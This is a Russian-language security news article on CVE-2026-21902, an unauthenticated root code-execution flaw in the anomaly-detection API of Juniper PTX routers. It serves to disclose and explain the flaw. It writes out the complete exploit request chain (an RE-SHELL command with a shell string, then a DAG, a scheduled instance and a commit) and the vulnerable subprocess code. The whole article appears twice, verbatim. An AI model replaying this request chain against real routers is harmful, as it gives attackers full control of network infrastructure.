Инструмент поиска аномалий не заметил, как сдал устройство хакерам.
В маршрутизаторах Juniper PTX на базе Junos OS Evolved раскрыли критическую уязвимость CVE-2026-21902 , которая позволяет удалённо выполнять код с правами root без аутентификации. Juniper описывает проблему как неправильное назначение прав доступа к критическому ресурсу в механизме On-Box Anomaly Detection Framework. По замыслу этот сервис должен быть доступен только внутренним процессам через внутренний маршрутизирующий экземпляр, а не через внешний сетевой порт. Если до службы всё же можно достучаться по сети, атакующий получает возможность управлять сервисом и в итоге полностью захватить устройство. Компонент включён по умолчанию и не требует отдельной настройки.
Уязвимость затрагивает только устройства серии PTX. В бюллетене Juniper говорится, что под удар попали выпуски Junos OS Evolved 25.4 до версий 25.4R1-S1-EVO и 25.4R2-EVO, тогда как сборки до 25.4R1-EVO уязвимыми не считаются. Сама серия PTX применяется в магистральных сетях операторов связи, на узлах пиринга и в крупных межцентровых соединениях. Такие маршрутизаторы проектируют под очень высокую пропускную способность, низкие задержки и большую плотность портов. Классический Junos OS исторически строился на FreeBSD, а Junos OS Evolved Juniper перевела на Linux и более модульную, контейнеризированную архитектуру.
Проверка показала, что внутри системы действительно работает сетевой сервис, связанный с On-Box Anomaly Detection Framework. При просмотре сокетов исследователи увидели следующую картину:
<pre><code>ProtocolBinding IPPortApplicationDescription TCP0.0.0.022SSHxinetd TCP0.0.0.053DNSdnsmasq TCP0.0.0.0830NETCONF over SSHxinetd TCP0.0.0.08160On-Box Anomaly Detection Framework/usr/sbin/ monitor/ api_server.py TCP[::]22SSHxinetd TCP[::]53DNSdnsmasq TCP[::]830NETCONF over SSHxinetd UDP*53DNSdnsmasq UDP*123NTPntpd UDP*161SNMPsnmpd UDP*514Syslogeventd UDP0.0.0.06123Junos NTPjsntpd UDP0.0.0.08503Routing Protocol Daemonrpd</code></pre> Служба аномалий слушает порт 8160/TCP и, судя по выводу, привязана к 0.0.0.0, то есть ко всем IPv4-интерфейсам. Подозрения усиливает и код инициализации HTTP-сервера, найденный в системе:
<pre><code>port = CONFIG.get('api_server_port', 8160) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info(f'Serving HTTP on port {port}...') httpd.serve_forever()</code></pre> Пустая строка в <code>server_address</code> в такой конструкции означает привязку ко всем адресам. Сервис представляет собой REST API , написанный на Python и запущенный с правами root. Назначение платформы довольно широкое: через неё можно описывать, планировать и запускать диагностические процедуры, реагировать на найденные аномалии, добавлять новую логику обнаружения и разбирать проблемы вроде аппаратных сбоев, аномалий трафика и ошибок протоколов без внешней системы мониторинга.
Внутренняя модель сервиса строится вокруг четырёх сущностей. Первая - Command, то есть команда, которая будет выполнена на устройстве. Вторая - Handler, обработчик, разбирающий вывод команды. Третья - DAG, ориентированный ациклический граф, который описывает последовательность действий: команд, обработчиков или вложенных графов. Четвёртая - DAG Instance, конкретный экземпляр графа, привязанный к расписанию. Уже из этой схемы видно, что система сама по себе умеет запускать команды на маршрутизаторе. Вопрос только в том, можно ли управлять этой функцией извне. Ответ, судя по опубликованному разбору, оказался положительным.
Все основные файлы лежат прямо в файловой системе устройства, в каталоге <code>/usr/sbin/monitor/</code>. Исследователи выделили четыре ключевых компонента:
<pre><code>python3.10 /usr/sbin/monitor/ anomaly_detector_main.py - The initial Python script that ensures the sub Python scripts stay alive. python3.10 /usr/sbin/monitor/ api_server.py - The HTTP API server which stores request data in files on the server. python3.10 /usr/sbin/monitor/ intent_monitor.py - Periodically checks for updates to definitions and updates API server definitions. python3.10 /usr/sbin/monitor/ schedule_enforcer.py - Executes scheduled DAG instances periodically.</code></pre> <code>anomaly_detector_main.py</code> следит, чтобы остальные процессы не падали. <code>api_server.py</code> обслуживает HTTP-запросы и сохраняет полученные данные в файлах на устройстве. <code>intent_monitor.py</code> периодически отслеживает обновления определений и синхронизирует их с сервером API. <code>schedule_enforcer.py</code> отвечает за периодический запуск экземпляров DAG по расписанию.
Набор HTTP-методов и конечных точек у сервиса выглядит как вполне обычный интерфейс управления конфигурацией. В опубликованном разборе приведён такой список:
<pre><code>MethodPathDescription GET/anomalyRetrieves all registered Anomalies. GET/config/schedule/ <component>Get new DAG INSTANCEs to execute on the component. GET / POST / PUT / DELETE/config/dag/<dag-name>Retrieves, creates, updates ,or deletes a DAG configuration. GET / POST / PUT / DELETE/config/command/ <command-name>Retrieves, creates, updates ,or deletes a COMMAND configuration. GET / POST / PUT / DELETE/config/handler/ <handler-name>Retrieves, creates, updates ,or deletes a HANDLER configuration. GET / POST / PUT / DELETE/config/dag-instance/ <dag-instance-name>Retrieves, creates, updates ,or deletes a DAG INSTANCE configuration. GET / POST/config/commitValidates the union of the Workspace config and the Existing Config. Saves the Workspace Config if it is valid on POST. GET / POST/output/dag-instance/ <dag-instance-name>/iteration/ <iteration>/component/reRetrieves or stores the output of a specific DAG INSTANCE run for an ITERATION on the RE. GET / POST / DELETE/alarm/dag-instance/ <dag-instance-name>/ component/reGets, stores or deletes alarms raised by the DAG INSTANCE run on the RE. POST/anomaly/dag-instance/ <dag-instance-name>/iteration/ <iteration>/component/reRegisters anomalies raised by the DAG INSTANCE run on an RE.</code></pre> Критически важная часть находится в конфигурации команды. Сервис позволяет создать объект <code>command</code>, а в поле <code>syntax</code> передать строку, которую система позже запустит. Для удалённого выполнения кода в опубликованном примере используется простая команда <code>id > /var/home/admin/watchTowr.txt</code>. Тип <code>RE-SHELL</code> подсказывает сервису, что строку нужно выполнить как обычную команду оболочки на самом устройстве.
Пример HTTP-запроса для создания такой команды в оригинале выглядит так:
<pre><code>POST /config/command/<command-name> HTTP/1.1 Host: <hostname> Content-Type: application/json Content-Length: <length> {"syntax": "id > /var/home/admin/watchTowr.txt","type": "RE-SHELL","parsing": {},"outputs": { "result": {"type": "str"}},"doc": "" }</code></pre> После создания команды атакующему нужен DAG, который определит порядок выполнения действий. В простейшем случае граф состоит из одного действия и просто ссылается на ранее созданную команду. Обработчики, дополнительные входные параметры и переходы между узлами не нужны. В разборе приведён следующий запрос:
<pre><code>POST /config/dag/<dag-name> HTTP/1.1 Host: <hostname> Content-Type: application/json Content-Length: <length> {"start": [<action_name>],"edges": [],"actions": { <action_name>: { "command": <command_name>, "inputs": {} }},"doc": "" }</code></pre> Дальше создаётся экземпляр DAG, который говорит сервису, когда именно нужно выполнить граф. В опубликованной цепочке запуск назначают немедленно, без задержки. Для этого используется такой запрос:
<pre><code>POST /config/dag-instance/<dag-instance-name> HTTP/1.1 Host: <hostname> Content-Type: application/json Content-Length: <length> {"dag": <dag_name>,"enabled": True,"platform": <platform>,"target": { "type": "RE"},"schedule": { "start": <now>, "delay": 0},"context": {} }</code></pre> На последнем шаге клиент отправляет запрос фиксации конфигурации. После этого прежние объекты сохраняются в файле, который затем обрабатывает планировщик <code>schedule_enforcer</code>:
<pre><code>POST /config/config/commit HTTP/1.1 Host: <hostname> Content-Type: application/json Content-Length: 0</code></pre> Дальше в дело вступает внутренняя логика сервиса. Главная функция получает расписание, заданное для экземпляра DAG. После проверки времени она вызывает <code>execute_dag_instance</code>. Затем запускается <code>execute_dag</code>, далее - <code>run_bfs_on_dag_actions</code>, а уже там вызывается <code>execute_command</code>. Именно в этой функции из описания команды извлекается поле <code>syntax</code>, и его содержимое без фильтрации передаётся в <code>subprocess.run(...)</code>. В опубликованном разборе цепочка показана прямо по исходному коду:
<pre><code>def main(): # [1]...schedule = api_client.get_config_schedule(component_name=f'{COMPONENT}{FPC_SLOT}')...thread = threading.Thread(target=execute_dag_instance, args=(...)) # [2]... def execute_dag_instance(api_client, ...): # [2]...dag_executor = Executor(...)dag_executor.execute_dag() # [3]... class Executor:def execute_dag(self): # [3] self.run_bfs_on_dag_actions(...) # [4] def run_bfs_on_dag_actions(self, ...): # [4] ... if 'command' in dag_def['actions'][current_node]: action_outputs = self.execute_command(command_id=current_node, ...) # [5] ... ## COMMAND Execution Function#def execute_command(self, command_id, ...): # [5] command_name = dag_def['actions'][command_id]['command'] ... # # Build Command by substituting in Inputs # syntax = command_def['syntax'] # [6] ... if self.target['type'] == 'RE': # # If the DAG INSTANCE is executing on the RE, # and if the command type is an RE CLI command, # we need to run the command on the RE # if command_def['type'] == 'RE':component_command_mapping['re'] = f'cli -c "{syntax}"' elif command_def['type'] == 'RE-SHELL':component_command_mapping['re'] = syntax raw_output_mapping = dict() for component_name, command in component_command_mapping.items(): try:completed_subprocess = subprocess.run( # [7] command, shell=True, check=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)if completed_subprocess.returncode != 0: raw_output = completed_subprocess.stderr.decode('utf-8')else: raw_output = completed_subprocess.stdout.decode('utf-8')raw_output_mapping[component_name] = raw_output except subprocess.CalledProcessError as e:logging.error(f'Error executing command - ...')</code></pre> Здесь важны сразу несколько деталей. Во-первых, логика сама строит строку команды из конфигурации DAG. Во-вторых, для типа <code>RE-SHELL</code> никакого дополнительного обрамления не происходит: строка из <code>syntax</code> просто попадает в <code>component_command_mapping['re']</code>. В-третьих, вызов <code>subprocess.run</code> использует параметр <code>shell=True</code>, а значит, строка обрабатывается оболочкой напрямую. Для атакующего это уже готовое удалённое выполнение кода , причём с правами root, потому что сам сервис работает от имени суперпользователя.
Вся цепочка в итоге выглядит почти слишком прямолинейно для критической уязвимости такого уровня. Удалённый пользователь без логина и пароля отправляет запрос на создание команды, затем описывает DAG, регистрирует экземпляр DAG, фиксирует конфигурацию и ждёт, пока планировщик выполнит задание. После этого команда срабатывает на маршрутизаторе. Никакой отдельной уязвимости для обхода аутентификации здесь не требуется, потому что входной интерфейс и так оказывается доступен извне.
Именно поэтому CVE-2026-21902 получила почти максимальную оценку по шкале CVSS. При успешной эксплуатации атакующий получает полный контроль над магистральным маршрутизатором, который может стоять в критическом сегменте сети оператора, интернет-обменника или гипермасштабной инфраструктуры. Для таких устройств компрометация означает уже не локальный сбой одного сервиса, а риск полного контроля над сетевым узлом, через который проходит большой объём трафика.
В маршрутизаторах Juniper PTX на базе Junos OS Evolved раскрыли критическую уязвимость CVE-2026-21902 , которая позволяет удалённо выполнять код с правами root без аутентификации. Juniper описывает проблему как неправильное назначение прав доступа к критическому ресурсу в механизме On-Box Anomaly Detection Framework. По замыслу этот сервис должен быть доступен только внутренним процессам через внутренний маршрутизирующий экземпляр, а не через внешний сетевой порт. Если до службы всё же можно достучаться по сети, атакующий получает возможность управлять сервисом и в итоге полностью захватить устройство. Компонент включён по умолчанию и не требует отдельной настройки.
Уязвимость затрагивает только устройства серии PTX. В бюллетене Juniper говорится, что под удар попали выпуски Junos OS Evolved 25.4 до версий 25.4R1-S1-EVO и 25.4R2-EVO, тогда как сборки до 25.4R1-EVO уязвимыми не считаются. Сама серия PTX применяется в магистральных сетях операторов связи, на узлах пиринга и в крупных межцентровых соединениях. Такие маршрутизаторы проектируют под очень высокую пропускную способность, низкие задержки и большую плотность портов. Классический Junos OS исторически строился на FreeBSD, а Junos OS Evolved Juniper перевела на Linux и более модульную, контейнеризированную архитектуру.
Проверка показала, что внутри системы действительно работает сетевой сервис, связанный с On-Box Anomaly Detection Framework. При просмотре сокетов исследователи увидели следующую картину:
<pre><code>ProtocolBinding IPPortApplicationDescription TCP0.0.0.022SSHxinetd TCP0.0.0.053DNSdnsmasq TCP0.0.0.0830NETCONF over SSHxinetd TCP0.0.0.08160On-Box Anomaly Detection Framework/usr/sbin/ monitor/ api_server.py TCP[::]22SSHxinetd TCP[::]53DNSdnsmasq TCP[::]830NETCONF over SSHxinetd UDP*53DNSdnsmasq UDP*123NTPntpd UDP*161SNMPsnmpd UDP*514Syslogeventd UDP0.0.0.06123Junos NTPjsntpd UDP0.0.0.08503Routing Protocol Daemonrpd</code></pre> Служба аномалий слушает порт 8160/TCP и, судя по выводу, привязана к 0.0.0.0, то есть ко всем IPv4-интерфейсам. Подозрения усиливает и код инициализации HTTP-сервера, найденный в системе:
<pre><code>port = CONFIG.get('api_server_port', 8160) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info(f'Serving HTTP on port {port}...') httpd.serve_forever()</code></pre> Пустая строка в <code>server_address</code> в такой конструкции означает привязку ко всем адресам. Сервис представляет собой REST API , написанный на Python и запущенный с правами root. Назначение платформы довольно широкое: через неё можно описывать, планировать и запускать диагностические процедуры, реагировать на найденные аномалии, добавлять новую логику обнаружения и разбирать проблемы вроде аппаратных сбоев, аномалий трафика и ошибок протоколов без внешней системы мониторинга.
Внутренняя модель сервиса строится вокруг четырёх сущностей. Первая - Command, то есть команда, которая будет выполнена на устройстве. Вторая - Handler, обработчик, разбирающий вывод команды. Третья - DAG, ориентированный ациклический граф, который описывает последовательность действий: команд, обработчиков или вложенных графов. Четвёртая - DAG Instance, конкретный экземпляр графа, привязанный к расписанию. Уже из этой схемы видно, что система сама по себе умеет запускать команды на маршрутизаторе. Вопрос только в том, можно ли управлять этой функцией извне. Ответ, судя по опубликованному разбору, оказался положительным.
Все основные файлы лежат прямо в файловой системе устройства, в каталоге <code>/usr/sbin/monitor/</code>. Исследователи выделили четыре ключевых компонента:
<pre><code>python3.10 /usr/sbin/monitor/ anomaly_detector_main.py - The initial Python script that ensures the sub Python scripts stay alive. python3.10 /usr/sbin/monitor/ api_server.py - The HTTP API server which stores request data in files on the server. python3.10 /usr/sbin/monitor/ intent_monitor.py - Periodically checks for updates to definitions and updates API server definitions. python3.10 /usr/sbin/monitor/ schedule_enforcer.py - Executes scheduled DAG instances periodically.</code></pre> <code>anomaly_detector_main.py</code> следит, чтобы остальные процессы не падали. <code>api_server.py</code> обслуживает HTTP-запросы и сохраняет полученные данные в файлах на устройстве. <code>intent_monitor.py</code> периодически отслеживает обновления определений и синхронизирует их с сервером API. <code>schedule_enforcer.py</code> отвечает за периодический запуск экземпляров DAG по расписанию.
Набор HTTP-методов и конечных точек у сервиса выглядит как вполне обычный интерфейс управления конфигурацией. В опубликованном разборе приведён такой список:
<pre><code>MethodPathDescription GET/anomalyRetrieves all registered Anomalies. GET/config/schedule/ <component>Get new DAG INSTANCEs to execute on the component. GET / POST / PUT / DELETE/config/dag/<dag-name>Retrieves, creates, updates ,or deletes a DAG configuration. GET / POST / PUT / DELETE/config/command/ <command-name>Retrieves, creates, updates ,or deletes a COMMAND configuration. GET / POST / PUT / DELETE/config/handler/ <handler-name>Retrieves, creates, updates ,or deletes a HANDLER configuration. GET / POST / PUT / DELETE/config/dag-instance/ <dag-instance-name>Retrieves, creates, updates ,or deletes a DAG INSTANCE configuration. GET / POST/config/commitValidates the union of the Workspace config and the Existing Config. Saves the Workspace Config if it is valid on POST. GET / POST/output/dag-instance/ <dag-instance-name>/iteration/ <iteration>/component/reRetrieves or stores the output of a specific DAG INSTANCE run for an ITERATION on the RE. GET / POST / DELETE/alarm/dag-instance/ <dag-instance-name>/ component/reGets, stores or deletes alarms raised by the DAG INSTANCE run on the RE. POST/anomaly/dag-instance/ <dag-instance-name>/iteration/ <iteration>/component/reRegisters anomalies raised by the DAG INSTANCE run on an RE.</code></pre> Критически важная часть находится в конфигурации команды. Сервис позволяет создать объект <code>command</code>, а в поле <code>syntax</code> передать строку, которую система позже запустит. Для удалённого выполнения кода в опубликованном примере используется простая команда <code>id > /var/home/admin/watchTowr.txt</code>. Тип <code>RE-SHELL</code> подсказывает сервису, что строку нужно выполнить как обычную команду оболочки на самом устройстве.
Пример HTTP-запроса для создания такой команды в оригинале выглядит так:
<pre><code>POST /config/command/<command-name> HTTP/1.1 Host: <hostname> Content-Type: application/json Content-Length: <length> {"syntax": "id > /var/home/admin/watchTowr.txt","type": "RE-SHELL","parsing": {},"outputs": { "result": {"type": "str"}},"doc": "" }</code></pre> После создания команды атакующему нужен DAG, который определит порядок выполнения действий. В простейшем случае граф состоит из одного действия и просто ссылается на ранее созданную команду. Обработчики, дополнительные входные параметры и переходы между узлами не нужны. В разборе приведён следующий запрос:
<pre><code>POST /config/dag/<dag-name> HTTP/1.1 Host: <hostname> Content-Type: application/json Content-Length: <length> {"start": [<action_name>],"edges": [],"actions": { <action_name>: { "command": <command_name>, "inputs": {} }},"doc": "" }</code></pre> Дальше создаётся экземпляр DAG, который говорит сервису, когда именно нужно выполнить граф. В опубликованной цепочке запуск назначают немедленно, без задержки. Для этого используется такой запрос:
<pre><code>POST /config/dag-instance/<dag-instance-name> HTTP/1.1 Host: <hostname> Content-Type: application/json Content-Length: <length> {"dag": <dag_name>,"enabled": True,"platform": <platform>,"target": { "type": "RE"},"schedule": { "start": <now>, "delay": 0},"context": {} }</code></pre> На последнем шаге клиент отправляет запрос фиксации конфигурации. После этого прежние объекты сохраняются в файле, который затем обрабатывает планировщик <code>schedule_enforcer</code>:
<pre><code>POST /config/config/commit HTTP/1.1 Host: <hostname> Content-Type: application/json Content-Length: 0</code></pre> Дальше в дело вступает внутренняя логика сервиса. Главная функция получает расписание, заданное для экземпляра DAG. После проверки времени она вызывает <code>execute_dag_instance</code>. Затем запускается <code>execute_dag</code>, далее - <code>run_bfs_on_dag_actions</code>, а уже там вызывается <code>execute_command</code>. Именно в этой функции из описания команды извлекается поле <code>syntax</code>, и его содержимое без фильтрации передаётся в <code>subprocess.run(...)</code>. В опубликованном разборе цепочка показана прямо по исходному коду:
<pre><code>def main(): # [1]...schedule = api_client.get_config_schedule(component_name=f'{COMPONENT}{FPC_SLOT}')...thread = threading.Thread(target=execute_dag_instance, args=(...)) # [2]... def execute_dag_instance(api_client, ...): # [2]...dag_executor = Executor(...)dag_executor.execute_dag() # [3]... class Executor:def execute_dag(self): # [3] self.run_bfs_on_dag_actions(...) # [4] def run_bfs_on_dag_actions(self, ...): # [4] ... if 'command' in dag_def['actions'][current_node]: action_outputs = self.execute_command(command_id=current_node, ...) # [5] ... ## COMMAND Execution Function#def execute_command(self, command_id, ...): # [5] command_name = dag_def['actions'][command_id]['command'] ... # # Build Command by substituting in Inputs # syntax = command_def['syntax'] # [6] ... if self.target['type'] == 'RE': # # If the DAG INSTANCE is executing on the RE, # and if the command type is an RE CLI command, # we need to run the command on the RE # if command_def['type'] == 'RE':component_command_mapping['re'] = f'cli -c "{syntax}"' elif command_def['type'] == 'RE-SHELL':component_command_mapping['re'] = syntax raw_output_mapping = dict() for component_name, command in component_command_mapping.items(): try:completed_subprocess = subprocess.run( # [7] command, shell=True, check=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)if completed_subprocess.returncode != 0: raw_output = completed_subprocess.stderr.decode('utf-8')else: raw_output = completed_subprocess.stdout.decode('utf-8')raw_output_mapping[component_name] = raw_output except subprocess.CalledProcessError as e:logging.error(f'Error executing command - ...')</code></pre> Здесь важны сразу несколько деталей. Во-первых, логика сама строит строку команды из конфигурации DAG. Во-вторых, для типа <code>RE-SHELL</code> никакого дополнительного обрамления не происходит: строка из <code>syntax</code> просто попадает в <code>component_command_mapping['re']</code>. В-третьих, вызов <code>subprocess.run</code> использует параметр <code>shell=True</code>, а значит, строка обрабатывается оболочкой напрямую. Для атакующего это уже готовое удалённое выполнение кода , причём с правами root, потому что сам сервис работает от имени суперпользователя.
Вся цепочка в итоге выглядит почти слишком прямолинейно для критической уязвимости такого уровня. Удалённый пользователь без логина и пароля отправляет запрос на создание команды, затем описывает DAG, регистрирует экземпляр DAG, фиксирует конфигурацию и ждёт, пока планировщик выполнит задание. После этого команда срабатывает на маршрутизаторе. Никакой отдельной уязвимости для обхода аутентификации здесь не требуется, потому что входной интерфейс и так оказывается доступен извне.
Именно поэтому CVE-2026-21902 получила почти максимальную оценку по шкале CVSS. При успешной эксплуатации атакующий получает полный контроль над магистральным маршрутизатором, который может стоять в критическом сегменте сети оператора, интернет-обменника или гипермасштабной инфраструктуры. Для таких устройств компрометация означает уже не локальный сбой одного сервиса, а риск полного контроля над сетевым узлом, через который проходит большой объём трафика.
- Источник новости
- www.securitylab.ru